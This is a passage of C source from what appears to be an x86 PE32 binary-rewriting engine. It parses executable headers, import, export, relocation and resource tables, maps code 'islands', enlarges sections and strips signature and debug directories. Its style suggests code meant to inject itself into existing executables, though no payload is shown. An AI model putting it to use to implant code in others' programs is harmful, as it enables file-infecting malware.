pIATPool, pRelocationPool, pEATPool; DWORD dwCodeSectionNameString[2], dwExportDirectorySectionIndex; dwCodeSectionNameString[0]='xet.'; dwCodeSectionNameString[1]='t'; pPE32AbstractionTable->pDOSHeader=pTargetPE32Pool; pPE32AbstractionTable->pFileHeader=(PBYTE)pTargetPE32Pool + pPE32AbstractionTable->pDOSHeader->e_lfanew + 4; pPE32AbstractionTable->pOptionalHeader=(PBYTE)pPE32AbstractionTable->pFileHeader + sizeof(IMAGE_FILE_HEADER); pPE32AbstractionTable->pSectionHeaders=(PBYTE)pPE32AbstractionTable->pOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER); if((pPE32AbstractionTable->dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, &dwCodeSectionNameString)) != -1) { if((pIATPool=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)) != NULL) { if((pPE32AbstractionTable->pImportAbstractions=pPE32AbstractionTable->pImportAbstractions=GetAbstractionsFromIAT32(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pIATPool)) != NULL) { if((pRelocationPool=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)) != NULL) { if((pPE32AbstractionTable->pRelocationAbstractions=GetAbstractionsFromRelocations32(pAPITable, pTargetPE32Pool, pRelocationPool, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size, pPE32AbstractionTable->pImportAbstractions)) != NULL) { if((pEATImageSectionHeader=GetEnclosingSectionHeader(pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &dwExportDirectorySectionIndex, &bSectionEndReference)) != NULL) { if((pEATPool=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)) != NULL) { if((pPE32AbstractionTable->pExportAbstractions=GetAbstractionsFromEAT32(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pEATPool, dwExportDirectorySectionIndex)) == NULL) { goto AnalysisFailed; } } } if((pPE32AbstractionTable->pCodeAbstractions=AnalyzeX86PE32CodeSequence(pAPITable, pTargetPE32Pool, (nCodePoolSize == -1 ? (pPE32AbstractionTable->pSectionHeaders + pPE32AbstractionTable->dwCodeSectionIndex)->Misc.VirtualSize : nCodePoolSize), pPE32AbstractionTable->pRelocationAbstractions, pPE32AbstractionTable->pExportAbstractions)) != NULL) { IdentifyEtherealX86BranchCorrespondences(pPE32AbstractionTable->pCodeAbstractions->pInitialX86InstructionAbstraction); return pPE32AbstractionTable; } } } } } } AnalysisFailed: pAPITable->GlobalFree(pPE32AbstractionTable); return NULL; } VOID FreezeX86CodeIslandAbstractions (PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeIslandAbstractionTable, DWORD dwCodePoolSize, PBYTE *ppFrozenCodeIslandAbstractionPool, PDWORD pdwFrozenCodeIslandAbstractionPoolSize) { DWORD dwCurrentFrozenCodeIslandPoolOffset, dwCurrentCodeIslandIndex, dwFrozenCodeIslandAbstractionPoolSize=(8 + ((pCodeIslandAbstractionTable->dwNumberOfCodeIslands + 1) * 8)); PBYTE pFrozenCodeIslandAbstractionPool=pAPITable->GlobalAlloc(GPTR, dwFrozenCodeIslandAbstractionPoolSize); for(dwCurrentFrozenCodeIslandPoolOffset=8, dwCurrentCodeIslandIndex=0; dwCurrentCodeIslandIndex <= pCodeIslandAbstractionTable->dwNumberOfCodeIslands; dwCurrentCodeIslandIndex++) { *(PDWORD)&pFrozenCodeIslandAbstractionPool[dwCurrentFrozenCodeIslandPoolOffset]=pCodeIslandAbstractionTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction->dwInstructionOffset; dwCurrentFrozenCodeIslandPoolOffset += 4; *(PDWORD)&pFrozenCodeIslandAbstractionPool[dwCurrentFrozenCodeIslandPoolOffset]=(pCodeIslandAbstractionTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction->dwInstructionOffset/* - (pCodeIslandAbstractionTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction->dwInstructionLength)*/); dwCurrentFrozenCodeIslandPoolOffset += 4; } *(PDWORD)&pFrozenCodeIslandAbstractionPool[0]=pCodeIslandAbstractionTable->dwNumberOfCodeIslands; *(PDWORD)&pFrozenCodeIslandAbstractionPool[4]=dwCodePoolSize; *pdwFrozenCodeIslandAbstractionPoolSize=dwFrozenCodeIslandAbstractionPoolSize; *ppFrozenCodeIslandAbstractionPool=pFrozenCodeIslandAbstractionPool; return; } BOOL AugmentPE32SectionSize (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionIndex, DWORD dwTargetSectionAugmentationSize, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable) { BOOL bTargetSectionAugmented=FALSE; if(*(PWORD)&pTargetPE32Pool[0] != 'ZM') { return bTargetSectionAugmented; } PIMAGE_DOS_HEADER pOriginalImageDOSHeader=pTargetPE32Pool; PIMAGE_FILE_HEADER pOriginalImageFileHeader=((PBYTE)pOriginalImageDOSHeader + pOriginalImageDOSHeader->e_lfanew + 4); if(pOriginalImageFileHeader->Machine != IMAGE_FILE_MACHINE_I386) { return bTargetSectionAugmented; } PIMAGE_OPTIONAL_HEADER pOriginalImageOptionalHeader=((PBYTE)pOriginalImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pOriginalImageSectionHeader=((PBYTE)pOriginalImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwOriginalPE32LastSectionIndex=(pOriginalImageFileHeader->NumberOfSections - 1); // Perform geometric checks to ensure target PE32 is handled if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == 0 || pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size == 0) { return bTargetSectionAugmented; } if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress != 0 || pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size != 0) { return bTargetSectionAugmented; } DWORD dwRelocationSectionNameString[2]; dwRelocationSectionNameString[0]='ler.'; dwRelocationSectionNameString[1]='co'; if(pAPITable->lstrcmpA((pOriginalImageSectionHeader + dwOriginalPE32LastSectionIndex)->Name, &dwRelocationSectionNameString) != 0) { return bTargetSectionAugmented; } // Sanitize the current PE32 DWORD dwSanitizedPE32PoolSize=((pOriginalImageSectionHeader + dwOriginalPE32LastSectionIndex)->PointerToRawData + (pOriginalImageSectionHeader + dwOriginalPE32LastSectionIndex)->SizeOfRawData); PBYTE pSanitizedPE32Pool=pAPITable->GlobalAlloc(GPTR, dwSanitizedPE32PoolSize); RelocateMemory(pSanitizedPE32Pool, pTargetPE32Pool, dwSanitizedPE32PoolSize); PIMAGE_DOS_HEADER pSanitizedImageDOSHeader=pSanitizedPE32Pool; PIMAGE_FILE_HEADER pSanitizedImageFileHeader=((PBYTE)pSanitizedImageDOSHeader + pSanitizedImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pSanitizedImageOptionalHeader=((PBYTE)pSanitizedImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pSanitizedImageSectionHeader=((PBYTE)pSanitizedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwX; // Size/base header values are not necessary for the file to run pSanitizedImageOptionalHeader->SizeOfInitializedData=0; pSanitizedImageOptionalHeader->SizeOfUninitializedData=0; pSanitizedImageOptionalHeader->SizeOfCode=0; pSanitizedImageOptionalHeader->BaseOfCode=0; pSanitizedImageOptionalHeader->BaseOfData=0; // Generally, these data directories can be removed. Delayed imports and TLS are contextual exceptions pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size=0; pSanitizedImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress=0; bTargetSectionAugmented=AugmentAllRequiredPE32SectionSizes(pAPITable, pSanitizedPE32Pool, dwSanitizedPE32PoolSize, ppAugmentedPE32Pool, pdwAugmentedPE32PoolSize, dwTargetSectionIndex, -1, dwTargetSectionAugmentationSize, NULL, pImportAbstractionTable, pExportAbstractionTable); pAPITable->GlobalFree(pSanitizedPE32Pool); return bTargetSectionAugmented; } BOOL AugmentAllRequiredPE32SectionSizes (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionIndex, DWORD dwTargetDataDirectoryIndex, DWORD dwTargetSectionAugmentationSize, PDATA_DIRECTORY_AUGMENTATION_RECORD pPreviousDataDirectoryAugmentationRecord, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable) { BOOL bTargetSectionAugmented=FALSE; DATA_DIRECTORY_AUGMENTATION_RECORD CurrentDataDirectoryAugmentationRecord; PBYTE pCurrentPE32Pool=pTargetPE32Pool, pAugmentedPE32Pool=NULL; DWORD dwCurrentPE32PoolSize=dwTargetPE32PoolSize, dwAugmentedPE32PoolSize=0; PIMAGE_DOS_HEADER pCurrentImageDOSHeader=pTargetPE32Pool; PIMAGE_FILE_HEADER pCurrentImageFileHeader=((PBYTE)pCurrentImageDOSHeader + pCurrentImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pCurrentImageOptionalHeader=((PBYTE)pCurrentImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pCurrentImageSectionHeader=((PBYTE)pCurrentImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); CHAR CurrentTargetSectionName[256]; pAPITable->lstrcpyA(CurrentTargetSectionName, (pCurrentImageSectionHeader + dwTargetSectionIndex)->Name); // Augment individual size. If this fails and an additional section must be augmented, use recursive logic. Otherwise, return. WipeMemory(&CurrentDataDirectoryAugmentationRecord, sizeof(DATA_DIRECTORY_AUGMENTATION_RECORD)); while(!bTargetSectionAugmented) { DWORD dwRequiredAugmentedSectionIndex=-1, dwRequiredSectionAugmentationSize=0, dwRequiredAugmentedDataDirectoryIndex=-1; pAugmentedPE32Pool=NULL; dwAugmentedPE32PoolSize=0; if((bTargetSectionAugmented=AugmentIndividualPE32SectionSize(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, dwTargetSectionAugmentationSize, dwTargetSectionIndex, dwTargetDataDirectoryIndex, &dwRequiredAugmentedSectionIndex, &dwRequiredSectionAugmentationSize, &dwRequiredAugmentedDataDirectoryIndex, &CurrentDataDirectoryAugmentationRecord, pImportAbstractionTable, pExportAbstractionTable))) { pCurrentPE32Pool=pAugmentedPE32Pool; dwCurrentPE32PoolSize=dwAugmentedPE32PoolSize; pCurrentImageDOSHeader=pCurrentPE32Pool; pCurrentImageFileHeader=((PBYTE)pCurrentImageDOSHeader + pCurrentImageDOSHeader->e_lfanew + 4); pCurrentImageOptionalHeader=((PBYTE)pCurrentImageFileHeader + sizeof(IMAGE_FILE_HEADER)); pCurrentImageSectionHeader=((PBYTE)pCurrentImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); if(pPreviousDataDirectoryAugmentationRecord != NULL) { pPreviousDataDirectoryAugmentationRecord->bContainingSectionAugmented[dwTargetDataDirectoryIndex]=TRUE; } } else { if(pAugmentedPE32Pool != NULL) { pAPITable->GlobalFree(pAugmentedPE32Pool); } pAugmentedPE32Pool=NULL; dwAugmentedPE32PoolSize=0; if(dwRequiredAugmentedSectionIndex != -1 && dwRequiredSectionAugmentationSize != 0) { PCHAR pRequiredAugmentedSectionName=(pCurrentImageSectionHeader + dwRequiredAugmentedSectionIndex)->Name; if(AugmentAllRequiredPE32SectionSizes(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, dwRequiredAugmentedSectionIndex, dwRequiredAugmentedDataDirectoryIndex, dwRequiredSectionAugmentationSize, &CurrentDataDirectoryAugmentationRecord, pImportAbstractionTable, pExportAbstractionTable)) { pCurrentPE32Pool=pAugmentedPE32Pool; dwCurrentPE32PoolSize=dwAugmentedPE32PoolSize; pCurrentImageDOSHeader=pCurrentPE32Pool; pCurrentImageFileHeader=((PBYTE)pCurrentImageDOSHeader + pCurrentImageDOSHeader->e_lfanew + 4); pCurrentImageOptionalHeader=((PBYTE)pCurrentImageFileHeader + sizeof(IMAGE_FILE_HEADER)); pCurrentImageSectionHeader=((PBYTE)pCurrentImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); } else { break; } } else { break; } } } DWORD dwOldCheckSum=0, dwNewCheckSum=0; if(pAPITable->CheckSumMappedFile(pCurrentPE32Pool, dwCurrentPE32PoolSize, &dwOldCheckSum, &dwNewCheckSum) != NULL) { pCurrentImageOptionalHeader->CheckSum=dwNewCheckSum; } *ppAugmentedPE32Pool=pCurrentPE32Pool; *pdwAugmentedPE32PoolSize=dwCurrentPE32PoolSize; return bTargetSectionAugmented; } BOOL AugmentIndividualPE32SectionSize (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionAugmentationSize, DWORD dwTargetSectionIndex, DWORD dwTargetDataDirectoryIndex, PDWORD pdwRequiredAugmentedSectionIndex, PDWORD pdwRequiredSectionAugmentationSize, PDWORD pdwRequiredAugmentedDataDirectoryIndex, PDATA_DIRECTORY_AUGMENTATION_RECORD pCurrentDataDirectoryAugmentationRecord, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable) { BOOL bStatus=FALSE; PBYTE pOriginalPE32Pool=pTargetPE32Pool, pAugmentedPE32Pool=NULL; PIMAGE_DOS_HEADER pOriginalImageDOSHeader=pOriginalPE32Pool; PIMAGE_FILE_HEADER pOriginalImageFileHeader=((PBYTE)pOriginalImageDOSHeader + pOriginalImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pOriginalImageOptionalHeader=((PBYTE)pOriginalImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pOriginalImageSectionHeader=((PBYTE)pOriginalImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwX, dwY, dwZ, dwOriginalPE32PoolSize=dwTargetPE32PoolSize, dwOriginalPE32LastSectionIndex=(pOriginalImageFileHeader->NumberOfSections - 1), dwAugmentedPE32PoolSize=0; PDATA_DIRECTORY_SECTION_CORRESPONDENCE pOriginalDataDirectorySectionCorrespondences=pAPITable->GlobalAlloc(GPTR, (pOriginalImageFileHeader->NumberOfSections * sizeof(DATA_DIRECTORY_SECTION_CORRESPONDENCE))); // Gather section/data directory correspondence data: which data directories fall within each section for(dwX=0; dwX < pOriginalImageFileHeader->NumberOfSections; dwX++) { for(dwY=0; dwY < pOriginalImageOptionalHeader->NumberOfRvaAndSizes; dwY++) { if(pOriginalImageOptionalHeader->DataDirectory[dwY].VirtualAddress >= (pOriginalImageSectionHeader + dwX)->VirtualAddress && pOriginalImageOptionalHeader->DataDirectory[dwY].VirtualAddress < ((pOriginalImageSectionHeader + dwX)->VirtualAddress + (pOriginalImageSectionHeader + dwX)->Misc.VirtualSize)) { (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[(pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories].dwDataDirectoryIndex=dwY; (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[(pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories].dwSize=pOriginalImageOptionalHeader->DataDirectory[dwY].Size; (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[(pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories].dwOffset=(pOriginalImageOptionalHeader->DataDirectory[dwY].VirtualAddress - (pOriginalImageSectionHeader + dwX)->VirtualAddress); (pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories++; } } } // Re-order data directory information blocks within section/data directory correspondences by memory offset from smallest to largest for(dwX=0; dwX < pOriginalImageFileHeader->NumberOfSections; dwX++) { DWORD dwCurrentTopDataDirectoryIndex; if((pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories > 1) { for(dwCurrentTopDataDirectoryIndex=0; dwCurrentTopDataDirectoryIndex < (pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories; dwCurrentTopDataDirectoryIndex++) { DWORD dwSmallestDataDirectoryOffset=0, dwSmallestDataDirectoryOffsetIndex=-1; for(dwY=dwCurrentTopDataDirectoryIndex; dwY < (pOriginalDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories; dwY++) { if((pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset < dwSmallestDataDirectoryOffset || (dwSmallestDataDirectoryOffset == 0 && dwSmallestDataDirectoryOffsetIndex == -1)) { dwSmallestDataDirectoryOffset=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset; dwSmallestDataDirectoryOffsetIndex=dwY; } } if(dwSmallestDataDirectoryOffsetIndex != dwCurrentTopDataDirectoryIndex) { DATA_DIRECTORY_INFORMATION TemporaryDataDirectoryInformation; TemporaryDataDirectoryInformation.dwDataDirectoryIndex=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwDataDirectoryIndex; TemporaryDataDirectoryInformation.dwOffset=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwOffset; TemporaryDataDirectoryInformation.dwSize=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwSize; (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwDataDirectoryIndex=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwDataDirectoryIndex; (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwOffset=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwOffset; (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwCurrentTopDataDirectoryIndex].dwSize=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwSize; (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwDataDirectoryIndex=TemporaryDataDirectoryInformation.dwDataDirectoryIndex; (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwOffset=TemporaryDataDirectoryInformation.dwOffset; (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwSmallestDataDirectoryOffsetIndex].dwSize=TemporaryDataDirectoryInformation.dwSize; } } } } BOOL bSectionEndReference; PRELOCATION_ABSTRACTION pRelocationAbstractions=NULL; PIMPORT_ABSTRACTION_TABLE pCurrentImportAbstractions=NULL; if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != 0 && pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size != 0) { // Get IAT abstractions from original PE32 PIMAGE_SECTION_HEADER pIATImageSectionHeader=GetEnclosingSectionHeader(pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, NULL, &bSectionEndReference); if(dwTargetSectionIndex <= GetSectionIndexByName(pAPITable, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pIATImageSectionHeader->Name)) { PBYTE pIATPool=SolidifyEtherealAddress(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); pCurrentImportAbstractions=GetAbstractionsFromIAT32(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pIATPool); //EnumerateIATContentsFromAbstractions32(pCurrentImportAbstractions); //system("pause"); } } if(pCurrentImportAbstractions != NULL) { if(pImportAbstractionTable != NULL) { pCurrentImportAbstractions=pImportAbstractionTable; } } DWORD dwTotalNumberOfEntries=0, dwTotalNumberOfDirectories=0, dwTotalRawResourceDataSize=0; PRESOURCE_DIRECTORY_ABSTRACTION pTopLevelResourceDirectoryContainerAbstraction=NULL; if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress != 0 && pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size != 0) { // Get resource abstractions from original PE32 PIMAGE_SECTION_HEADER pResourceImageSectionHeader=GetEnclosingSectionHeader(pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress, NULL, &bSectionEndReference); if(dwTargetSectionIndex <= GetSectionIndexByName(pAPITable, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pResourceImageSectionHeader->Name)) { PBYTE pResourcePool=SolidifyEtherealAddress(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress); pTopLevelResourceDirectoryContainerAbstraction=GetAbstractionsFromResources32(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pResourcePool, NULL, NULL, &dwTotalNumberOfEntries, &dwTotalNumberOfDirectories, &dwTotalRawResourceDataSize); //EnumerateResourceDirectoryAbstractionContents32(pTopLevelResourceDirectoryContainerAbstraction, NULL, TRUE); } } PEXPORT_ABSTRACTION_TABLE pCurrentExportAbstractionTable=NULL; DWORD dwExportDirectorySectionIndex=-1; if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress != 0 && pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size != 0) { // Get EAT abstractions from original PE32 PIMAGE_SECTION_HEADER pEATImageSectionHeader=GetEnclosingSectionHeader(pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &dwExportDirectorySectionIndex, &bSectionEndReference); if(dwExportDirectorySectionIndex >= (dwTargetSectionIndex + 1)) { PBYTE pEATPool=SolidifyEtherealAddress(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if((pCurrentExportAbstractionTable=GetAbstractionsFromEAT32(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pEATPool, dwExportDirectorySectionIndex)) == NULL) { goto AugmentPE32SectionSizeCleanup; } else { // } } else { dwExportDirectorySectionIndex=-1; } } else { dwExportDirectorySectionIndex=-1; } if(pCurrentExportAbstractionTable != NULL) { if(pExportAbstractionTable != NULL) { pCurrentExportAbstractionTable=pExportAbstractionTable; } } // Get relocation abstractions from original PE32 PBYTE pRelocationsPool=SolidifyEtherealAddress(pAPITable, pOriginalPE32Pool, pOriginalImageSectionHeader, pOriginalImageFileHeader->NumberOfSections, pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); DWORD dwRelocationsPoolSize=pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; pRelocationAbstractions=GetAbstractionsFromRelocations32(pAPITable, pOriginalPE32Pool, pRelocationsPool, dwRelocationsPoolSize, pCurrentImportAbstractions); // Remove all sections that came before target section index dwAugmentedPE32PoolSize=dwOriginalPE32PoolSize; pAugmentedPE32Pool=pAPITable->GlobalAlloc(GPTR, dwAugmentedPE32PoolSize); RelocateMemory(pAugmentedPE32Pool, pOriginalPE32Pool, dwOriginalPE32PoolSize); PIMAGE_DOS_HEADER pAugmentedImageDOSHeader=pAugmentedPE32Pool; PIMAGE_FILE_HEADER pAugmentedImageFileHeader=((PBYTE)pAugmentedImageDOSHeader + pAugmentedImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pAugmentedImageOptionalHeader=((PBYTE)pAugmentedImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pAugmentedImageSectionHeader=((PBYTE)pAugmentedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwAugmentedPE32LastSectionIndex=(pAugmentedImageFileHeader->NumberOfSections - 1); // Augment target section size (pAugmentedImageSectionHeader + dwTargetSectionIndex)->Misc.VirtualSize += dwTargetSectionAugmentationSize; DWORD dwFileAlignedRawTargetSectionSize=((pAugmentedImageSectionHeader + dwTargetSectionIndex)->Misc.VirtualSize); for(; dwFileAlignedRawTargetSectionSize % pAugmentedImageOptionalHeader->FileAlignment != 0; dwFileAlignedRawTargetSectionSize++); (pAugmentedImageSectionHeader + dwTargetSectionIndex)->SizeOfRawData=dwFileAlignedRawTargetSectionSize; if((pAugmentedImageSectionHeader + dwTargetSectionIndex)->Characteristics & IMAGE_SCN_CNT_CODE) { //pAugmentedImageOptionalHeader->SizeOfCode += dwTargetSectionAugmentationSize; } if(dwTargetSectionIndex == dwAugmentedPE32LastSectionIndex) { pAugmentedImageOptionalHeader->SizeOfImage=((pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->VirtualAddress + (pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->SizeOfRawData); } else { for(dwX=dwOriginalPE32LastSectionIndex; dwX > dwTargetSectionIndex; dwX--) { if(RemovePE32Section(pAPITable, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, dwX)) { // } else { goto AugmentPE32SectionSizeCleanup; } pAugmentedImageDOSHeader=pAugmentedPE32Pool; pAugmentedImageFileHeader=((PBYTE)pAugmentedImageDOSHeader + pAugmentedImageDOSHeader->e_lfanew + 4); pAugmentedImageOptionalHeader=((PBYTE)pAugmentedImageFileHeader + sizeof(IMAGE_FILE_HEADER)); 